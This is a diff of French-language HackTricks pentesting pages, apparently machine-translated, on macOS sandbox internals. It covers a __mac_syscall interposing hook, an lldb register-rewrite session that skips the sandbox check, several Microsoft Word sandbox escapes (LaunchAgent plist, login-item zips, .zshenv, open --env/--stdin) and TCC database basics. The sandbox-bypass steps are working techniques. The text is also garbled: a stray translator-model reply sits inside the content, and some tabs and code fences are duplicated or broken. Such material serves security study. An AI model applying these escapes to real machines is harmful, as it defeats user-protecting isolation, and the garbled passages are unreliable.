[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
@ -127,7 +130,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interposer `__mac_syscall` pour contourner le Sandbox
#### Interposer `__mac_syscall` pour prévenir le Sandbox
{% code title="interpose.c" %}
```c
@ -161,7 +164,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}
Since there is no English text provided other than the markdown endcode tag, there is nothing to translate. If you provide the English text, I can translate it into French for you.
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
@ -173,9 +176,9 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Déboguer et contourner le bac à sable avec lldb
### Débogage et contournement du Sandbox avec lldb
Compilons une application qui devrait être sandboxée :
Compilons une application qui devrait être mise en sandbox :
{% tabs %}
{% tab title="sand.c" %}
@ -185,39 +188,11 @@ int main() {
system("cat ~/Desktop/del.txt");
}
```
{% tab title="entitlements.xml" %}
Le fichier `entitlements.xml` contient les autorisations spécifiques accordées à une application macOS pour accéder à certaines fonctionnalités ou ressources du système. Ces autorisations sont définies à l'aide de clés et de valeurs spécifiques dans le fichier XML.
Voici un exemple de fichier `entitlements.xml` :
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.files.user-selected.read-write</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>
<key>com.apple.security.print</key>
<true/>
</dict>
</plist>
```
Dans cet exemple, l'application a les autorisations suivantes :
- `com.apple.security.app-sandbox` : autorise l'application à s'exécuter dans un bac à sable.
- `com.apple.security.files.user-selected.read-write` : autorise l'application à lire et écrire des fichiers sélectionnés par l'utilisateur.
- `com.apple.security.network.client` : autorise l'application à accéder au réseau.
- `com.apple.security.print` : autorise l'application à imprimer.
Ces autorisations peuvent être utilisées pour restreindre les actions qu'une application peut effectuer et renforcer la sécurité du système macOS.
{% endtab %}
{% tab title="entitlements.xml" %}
```
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
@ -226,15 +201,9 @@ Ces autorisations peuvent être utilisées pour restreindre les actions qu'une a
</dict>
</plist>
```
{% endtab %}
{% tab title="Info.plist" %}
Le fichier Info.plist est un fichier de configuration utilisé par les applications macOS pour définir leurs paramètres et comportements. Il contient des informations telles que le nom de l'application, son identifiant de bundle, les autorisations requises, les services système utilisés, etc. Ce fichier est essentiel pour le bon fonctionnement de l'application et est généralement situé dans le bundle de l'application.
Dans le contexte du sandboxing, le fichier Info.plist est utilisé pour déclarer les autorisations nécessaires à l'application pour accéder à certaines ressources système. Ces autorisations sont définies à l'aide de clés spécifiques dans le fichier Info.plist. Par exemple, l'autorisation d'accéder au réseau peut être déclarée en utilisant la clé "com.apple.security.network.client".
Il est important de noter que le fichier Info.plist est signé numériquement pour garantir son intégrité et empêcher toute modification non autorisée. La signature numérique est vérifiée par le système d'exploitation lors du lancement de l'application.
Lors de l'analyse d'une application macOS, il est essentiel de vérifier le contenu du fichier Info.plist pour comprendre les autorisations demandées par l'application et évaluer les risques potentiels liés à ces autorisations.
```xml
<plist version="1.0">
<dict>
@ -248,7 +217,7 @@ Lors de l'analyse d'une application macOS, il est essentiel de vérifier le cont
{% endtab %}
{% endtabs %}
Ensuite, compilez l'application :
Puis compilez l'application :
{% code overflow="wrap" %}
```bash
@ -263,14 +232,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
{% endcode %}
{% hint style="danger" %}
L'application essaiera de **lire** le fichier **`~/Desktop/del.txt`**, ce que le **Sandbox n'autorisera pas**.\
Créez un fichier à cet endroit car une fois que le Sandbox est contourné, il pourra le lire :
L'application va essayer de **lire** le fichier **`~/Desktop/del.txt`**, ce que le **Sandbox ne permettra pas**.\
Créez un fichier à cet endroit car une fois le Sandbox contourné, il pourra être lu :
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}
Déboguons l'application pour voir quand le Sandbox est chargé :
Débuggons l'application pour voir quand le Sandbox est chargé :
```bash
# Load app in debugging
lldb ./sand
@ -335,19 +304,20 @@ libsystem_kernel.dylib`:
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# Pour contourner, sautez à l'adresse b.lo en modifiant d'abord certains registres
(lldb) breakpoint delete 1 # Supprimer le point d'arrêt
(lldb) register write $pc 0x187659928 # Adresse b.lo
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Processus 2517 en cours de reprise
Contournement du bac à sable réussi !
Le processus 2517 s'est terminé avec le statut = 0 (0x00000000)
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
**Même si le contournement du Sandbox est effectué, TCC** demandera à l'utilisateur s'il souhaite autoriser le processus à lire les fichiers du bureau.
**Même avec le contournement du Sandbox, TCC** demandera à l'utilisateur s'il souhaite autoriser le processus à lire les fichiers du bureau
{% endhint %}
## Références
@ -358,12 +328,14 @@ Le processus 2517 s'est terminé avec le statut = 0 (0x00000000)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,71 +1,76 @@
# Contournement de la sandbox macOS Office
# Contournements du bac à sable macOS Office
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
### Contournement de la sandbox Word via les Launch Agents
### Contournement du bac à sable Word via les Launch Agents
L'application utilise une **sandbox personnalisée** en utilisant l'autorisation **`com.apple.security.temporary-exception.sbpl`** et cette sandbox personnalisée permet d'écrire des fichiers n'importe où tant que le nom de fichier commence par `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
L'application utilise un **bac à sable personnalisé** avec le droit **`com.apple.security.temporary-exception.sbpl`** et ce bac à sable personnalisé permet d'écrire des fichiers n'importe où tant que le nom du fichier commence par `~$` : `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Par conséquent, l'évasion était aussi simple que **d'écrire un fichier `plist`** LaunchAgent dans `~/Library/LaunchAgents/~$escape.plist`.
Par conséquent, s'échapper était aussi simple que **d'écrire un `plist`** LaunchAgent dans `~/Library/LaunchAgents/~$escape.plist`.
Consultez le [**rapport original ici**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Contournement de la sandbox Word via les Login Items et zip
### Contournement du bac à sable Word via les éléments de connexion et zip
(Rappelez-vous que depuis la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`, bien qu'après le correctif de la vulnérabilité précédente, il n'était plus possible d'écrire dans `/Library/Application Scripts` ou dans `/Library/LaunchAgents`).
Rappelez-vous que depuis la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`, bien qu'après le correctif de la vulnérabilité précédente, il n'était plus possible d'écrire dans `/Library/Application Scripts` ou dans `/Library/LaunchAgents`.
Il a été découvert qu'à partir de la sandbox, il est possible de créer un **élément de connexion** (des applications qui s'exécutent lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas** à moins qu'elles ne soient **notarisées** et il n'est **pas possible d'ajouter des arguments** (vous ne pouvez donc pas simplement exécuter un shell inversé en utilisant **`bash`**).
Il a été découvert qu'à partir du bac à sable, il est possible de créer un **élément de connexion** (applications qui seront exécutées lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas à moins** qu'elles ne soient **notarisées** et il n'est **pas possible d'ajouter des arguments** (vous ne pouvez donc pas simplement exécuter un shell inversé en utilisant **`bash`**).
À partir de la précédente évasion de la sandbox, Microsoft a désactivé l'option d'écriture de fichiers dans `~/Library/LaunchAgents`. Cependant, il a été découvert que si vous mettez un **fichier zip en tant qu'élément de connexion**, l'`Archive Utility` le décompressera simplement à son emplacement actuel. Ainsi, comme par défaut le dossier `LaunchAgents` de `~/Library` n'est pas créé, il était possible de **compresser un fichier plist dans `LaunchAgents/~$escape.plist`** et de placer le fichier zip dans **`~/Library`** afin que lorsqu'il est décompressé, il atteigne la destination de persistance.
À partir du contournement précédent du bac à sable, Microsoft a désactivé l'option d'écrire des fichiers dans `~/Library/LaunchAgents`. Cependant, il a été découvert que si vous mettez un **fichier zip comme élément de connexion**, l'`Archive Utility` va juste **décompresser** le fichier à son emplacement actuel. Donc, parce que par défaut le dossier `LaunchAgents` de `~/Library` n'est pas créé, il était possible de **zipper un plist dans `LaunchAgents/~$escape.plist`** et de **placer** le fichier zip dans **`~/Library`** afin que lors de la décompression, il atteigne la destination de persistance.
Consultez le [**rapport original ici**](https://objective-see.org/blog/blog\_0x4B.html).
### Contournement de la sandbox Word via les Login Items et .zshenv
### Contournement du bac à sable Word via les éléments de connexion et .zshenv
(Rappelez-vous que depuis la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`).
Cependant, la technique précédente avait une limitation : si le dossier **`~/Library/LaunchAgents`** existe parce qu'un autre logiciel l'a créé, cela échouerait. Une autre chaîne d'éléments de connexion a donc été découverte pour cela.
Cependant, la technique précédente avait une limitation, si le dossier **`~/Library/LaunchAgents`** existe parce qu'un autre logiciel l'a créé, elle échouerait. Une autre chaîne d'éléments de connexion a donc été découverte pour cela.
Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec la charge utile à exécuter, puis les compresser et **écrire le fichier zip dans le dossier de l'utilisateur** victime : **`~/~$escape.zip`**.
Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec la charge utile à exécuter, puis les zipper et **écrire le zip dans le dossier utilisateur de la victime** : **`~/~$escape.zip`**.
Ensuite, ajoutez le fichier zip aux **éléments de connexion** puis à l'application **`Terminal`**. Lorsque l'utilisateur se reconnecte, le fichier zip sera décompressé dans les fichiers de l'utilisateur, écrasant **`.bash_profile`** et **`.zshenv`** et donc, le terminal exécutera l'un de ces fichiers (selon l'utilisation de bash ou zsh).
Ensuite, ajoutez le fichier zip aux **éléments de connexion** puis à l'application **`Terminal`**. Lorsque l'utilisateur se reconnecte, le fichier zip serait décompressé dans le fichier de l'utilisateur, écrasant **`.bash_profile`** et **`.zshenv`** et donc, le terminal exécutera l'un de ces fichiers (selon si bash ou zsh est utilisé).
Consultez le [**rapport original ici**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Contournement de la sandbox Word avec Open et les variables d'environnement
### Contournement du bac à sable Word avec Open et les variables d'environnement
À partir des processus en sandbox, il est toujours possible d'appeler d'autres processus en utilisant l'utilitaire **`open`**. De plus, ces processus s'exécuteront **dans leur propre sandbox**.
Depuis des processus en bac à sable, il est toujours possible d'invoquer d'autres processus en utilisant l'utilitaire **`open`**. De plus, ces processus s'exécuteront **dans leur propre bac à sable**.
Il a été découvert que l'utilitaire open dispose de l'option **`--env`** pour exécuter une application avec des **variables d'environnement spécifiques**. Par conséquent, il était possible de créer le fichier **`.zshenv`** dans un dossier **à l'intérieur** de la **sandbox** et d'utiliser `open` avec `--env` en définissant la variable **`HOME`** sur ce dossier, ouvrant ainsi l'application `Terminal` qui exécutera le fichier `.zshenv` (pour une raison quelconque, il était également nécessaire de définir la variable `__OSINSTALL_ENVIROMENT`).
Il a été découvert que l'utilitaire open a l'option **`--env`** pour exécuter une application avec des variables d'**environnement spécifiques**. Par conséquent, il était possible de créer le fichier **`.zshenv`** dans un dossier **à l'intérieur** du **bac à sable** et d'utiliser `open` avec `--env` en définissant la variable **`HOME`** sur ce dossier en ouvrant l'application `Terminal`, qui exécutera le fichier `.zshenv` (pour une raison quelconque, il était également nécessaire de définir la variable `__OSINSTALL_ENVIROMENT`).
Consultez le [**rapport original ici**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Contournement de la sandbox Word avec Open et stdin
### Contournement du bac à sable Word avec Open et stdin
L'utilitaire **`open`** prenait également en charge le paramètre **`--stdin`** (et après la précédente évasion, il n'était plus possible d'utiliser `--env`).
L'utilitaire **`open`** prenait également en charge le paramètre **`--stdin`** (et après le contournement précédent, il n'était plus possible d'utiliser `--env`).
Le problème est que même si **`python`** était signé par Apple, il **n'exécutera pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui transmettre un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non :&#x20;
Le fait est que même si **`python`** était signé par Apple, il **n'exécuterait pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui passer un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non :&#x20;
1. Déposez un fichier **`~$exploit.py`** avec des commandes Python arbitraires.
2. Exécutez _open_ **`stdin='~$exploit.py' -a Python`**, qui exécute l'application Python avec notre fichier déposé servant de son entrée standard. Python exécute notre code sans problème, et comme c'est un processus enfant de _launchd_, il n'est pas soumis aux règles de la sandbox de Word.
2. Exécutez _open_ **`stdin='~$exploit.py' -a Python`**, qui exécute l'application Python avec notre fichier déposé servant d'entrée standard. Python exécute joyeusement notre code, et comme c'est un processus enfant de _launchd_, il n'est pas lié aux règles du bac à sable de Word.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -16,15 +18,15 @@
**TCC (Transparency, Consent, and Control)** est un mécanisme dans macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement d'un point de vue de la confidentialité. Cela peut inclure des choses telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité, l'accès complet au disque et bien d'autres.
Du point de vue de l'utilisateur, il voit TCC en action **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, **l'utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
Du point de vue de l'utilisateur, ils voient TCC en action **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, **l'utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
Il est également possible de **donner aux applications l'accès** aux fichiers par des **intentions explicites** des utilisateurs, par exemple lorsqu'un utilisateur **glisse-dépose un fichier dans un programme** (évidemment, le programme devrait y avoir accès).
Il est également possible de **donner aux applications l'accès** aux fichiers par des **intentions explicites** des utilisateurs, par exemple lorsqu'un utilisateur **glisse et dépose un fichier dans un programme** (évidemment, le programme devrait y avoir accès).
![Un exemple de demande TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** est géré par le **daemon** situé dans `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` et configuré dans `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (enregistrant le service mach `com.apple.tccd.system`).
Il y a un **tccd en mode utilisateur** exécuté par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
Il existe un **tccd en mode utilisateur** exécuté par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
Ici, vous pouvez voir le tccd fonctionnant en tant que système et en tant qu'utilisateur :
```bash
@ -32,7 +34,7 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Les **permissions sont héritées de l'application parente** et les **permissions** sont **suivies** en fonction de l'**ID de Bundle** et de l'**ID de Développeur**.
Les permissions sont **héritées de l'application parente** et les **permissions** sont **suivies** en fonction de l'**ID de Bundle** et de l'**ID de Développeur**.
### Bases de données TCC
@ -44,7 +46,7 @@ Les autorisations/refus sont ensuite stockés dans certaines bases de données T
* Cette base de données est protégée de sorte que seuls les processus avec des privilèges TCC élevés comme l'Accès Complet au Disque peuvent y écrire (mais elle n'est pas protégée par SIP).
{% hint style="warning" %}
Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Ainsi, vous **ne pourrez pas lire** votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus privilégié TCC.
Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Ainsi, vous **ne pourrez pas lire** votre base de données TCC utilisateur régulière à moins que ce soit à partir d'un processus privilégié TCC.
Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme **FDA** ou **`kTCCServiceEndpointSecurityClient`**) pourra écrire dans la base de données TCC des utilisateurs
{% endhint %}
@ -59,7 +61,7 @@ La base de données TCC dans **iOS** se trouve dans **`/private/var/mobile/Libra
{% endhint %}
{% hint style="info" %}
L'**interface utilisateur du centre de notifications** peut apporter **des modifications dans la base de données TCC système** :
L'**interface utilisateur du centre de notifications** peut effectuer **des modifications dans la base de données TCC système** :
{% code overflow="wrap" %}
```bash
@ -193,10 +195,10 @@ echo "X'$REQ_HEX'"
```
* Pour plus d'informations sur **les autres champs** du tableau, [**consultez ce billet de blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Vous pouvez également vérifier **les permissions déjà accordées** aux applications dans `Préférences Système --> Sécurité et Confidentialité --> Confidentialité --> Fichiers et Dossiers`.
Vous pouvez également vérifier **les permissions déjà accordées** aux applications dans `Préférences Système --> Sécurité et confidentialité --> Confidentialité --> Fichiers et dossiers`.
{% hint style="success" %}
Les utilisateurs _peuvent_ **supprimer ou interroger des règles** en utilisant **`tccutil`** .&#x20;
Les utilisateurs _peuvent_ **supprimer ou interroger les règles** en utilisant **`tccutil`** .&#x20;
{% endhint %}
#### Réinitialiser les permissions TCC
@ -209,7 +211,7 @@ tccutil reset All
```
### Contrôles de signature TCC
La base de données TCC stocke l'**ID de bundle** de l'application, mais elle conserve également des **informations** sur la **signature** pour **s'assurer** que l'application demandant l'utilisation d'une permission est la bonne.
La base de données TCC stocke l'**ID de bundle** de l'application, mais elle conserve également des **informations** sur la **signature** pour **s'assurer** que l'application demandant à utiliser une permission est la bonne.
{% code overflow="wrap" %}
```bash
@ -226,17 +228,17 @@ csreq -t -r /tmp/telegram_csreq.bin
{% endcode %}
{% hint style="warning" %}
Par conséquent, d'autres applications utilisant le même nom et ID de bundle ne pourront pas accéder aux permissions accordées à d'autres applications.
Ainsi, d'autres applications utilisant le même nom et ID de bundle ne pourront pas accéder aux permissions accordées à d'autres applications.
{% endhint %}
### Droits et Permissions TCC
Les applications **doivent non seulement** **demander** et avoir **reçu l'accès** à certaines ressources, mais elles doivent également **posséder les droits pertinents**.\
Les applications **doivent non seulement** **demander** et **obtenir l'accès** à certaines ressources, mais elles doivent également **posséder les droits appropriés**.\
Par exemple, **Telegram** possède le droit `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas** ce **droit ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas sollicité pour les permissions).
